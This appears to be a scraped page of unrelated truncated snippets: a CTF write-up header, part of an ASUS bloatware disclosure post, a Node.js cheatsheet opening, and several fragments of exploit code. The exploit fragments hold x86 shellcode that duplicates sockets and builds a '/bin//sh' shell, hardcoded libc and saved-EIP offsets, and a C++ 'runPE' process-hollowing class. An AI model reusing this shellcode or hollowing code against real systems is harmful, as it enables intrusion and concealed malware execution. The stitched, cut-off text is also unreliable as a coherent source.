stypr

pentest (298pt)

Solves: 1

This write-up was made per request of other players who were playing ASIS CTF.

Note: I solved this challenge before the hint was released. \o/

Description

indrora

... my first disclosure. Man, it feels weird doing this.

update 6/6/16 I would like to stress something: I'm not saying "Don't buy an ASUS device" -- I see a lot of people who want to lambaste ASUS for this and boycott their hardware. This isn't what I want people to be doing by any stretch. Stupidly, I like the ASUS hardware I have (it's nice for the price) and I would rather see a pressure on ASUS as an OEM to stop shipping "value added software" to consumers; If you want to help Microsoft in pushing this mentality, go buy a signature machine from them. Microsoft provides support, but also only ships windows and a few select utilities that are essential to the functioning of the system (think: Radeon/Optimus and nVidia control panels) and fall heavily on the hardware makers (ATI, nVidia, Intel) to provide support for the harware.

Consider an ASUS device all you want. Start putting pressure on Microsoft that consumers want bloat-free devices and start voting with your money. Microsoft's store

soez

from amnesia import *
from struct import pack, unpack
import time

p = lambda x: pack("<L", x)
u = lambda x: unpack('<L', x)[0]

shellcode  = "\x6a\x04\x5b\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8"
shellcode += "\x31\xc0\x99\x52\x68\x6e\x2f\x73"
shellcode += "\x68\x68\x2f\x2f\x62\x69\x89\xe3"

gerred

// Node.js CheatSheet.
// Download the Node.js source code or a pre-built installer for your platform, and start developing today.
// Download: http://nodejs.org/download/
// More: http://nodejs.org/api/all.html


// 0. Synopsis.
// http://nodejs.org/api/synopsis.html

ayoubfaouzi

typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
class runPE{
public:
void run(LPSTR szFilePath, PVOID pFile) 
{
PIMAGE_DOS_HEADER IDH;     
PIMAGE_NT_HEADERS INH;     
PIMAGE_SECTION_HEADER ISH; 
PROCESS_INFORMATION PI;    
STARTUPINFOA SI;           

soez

# -*- encoding: utf-8 -*-
from amnesia import *
from struct import pack, unpack
import time, sys

##################################################################################
# Exploit configuration parameters.. Must be adjusted to the target system and app.
OFFSET_SAVED_EIP = 0xb7ffc848
PAGE_NUMBER_OF_NEXT_INSTRUCTION_TO_CALL = 2
OFFSET_TO_LIBC = 0x1a9000 

soez

from amnesia import *
from struct import pack, unpack
import time, sys

s = amnesiaSocket("127.0.0.1", 20005)

print s.readLine()
# base libc.so.6 0xb7e5f000
base = 0xb7e5f000 
shellcode  = "\x6a\x04\x5b\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8"	# dup2 by Nox & soez